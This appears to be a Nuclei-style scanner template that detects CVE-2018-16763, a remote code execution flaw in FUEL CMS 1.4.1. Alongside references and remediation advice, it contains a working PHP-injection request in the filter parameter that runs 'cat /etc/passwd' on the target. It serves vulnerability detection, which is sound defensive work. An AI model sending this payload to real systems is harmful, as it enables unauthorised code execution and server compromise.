FUEL CMS 1.4.1 - Remote Code Execution

id: CVE-2018-16763

info:
  name: FUEL CMS 1.4.1 - Remote Code Execution
  author: pikpikcu
  severity: critical
  description: FUEL CMS 1.4.1 allows PHP Code Evaluation via the pages/select/ filter parameter or the preview/ data parameter.
  impact: |
    Successful exploitation of this vulnerability allows an attacker to execute arbitrary code on the target system, leading to complete compromise of the application and potentially the underlying server.
  remediation: |
    Upgrade to FUEL CMS version 1.4.2 or later, which includes a patch for this vulnerability.
  reference:
    - https://www.exploit-db.com/exploits/47138
    - https://www.getfuelcms.com/
    - https://github.com/daylightstudio/FUEL-CMS/releases/tag/1.4.1
    - https://nvd.nist.gov/vuln/detail/CVE-2018-16763
    - https://github.com/daylightstudio/FUEL-CMS/issues/478
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2018-16763
    cwe-id: CWE-74
    epss-score: 0.82937
    epss-percentile: 0.99639
    cpe: cpe:2.3:a:thedaylightstudio:fuel_cms:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: thedaylightstudio
    product: fuel_cms
    shodan-query: http.title:"fuel cms"
    fofa-query: title="fuel cms"
    google-query: intitle:"fuel cms"
  tags: cve,cve2018,fuelcms,rce,edb,thedaylightstudio,vkev,vuln

http:
  - raw:
      - |
        GET /fuel/pages/select/?filter=%27%2bpi(print(%24a%3d%27system%27))%2b%24a(%27cat%20/etc/passwd%27)%2b%27 HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100b5f5899d172c2afc7925a11a79e79ac191b4415005e029cd6efd4bf514a7efc3022052b01a23be6ffe1ae7aef8fe3a1b0d4dcd793739968dc2fb3c05c3caed29aaa3:922c64590222798bb761d5b6d8e72950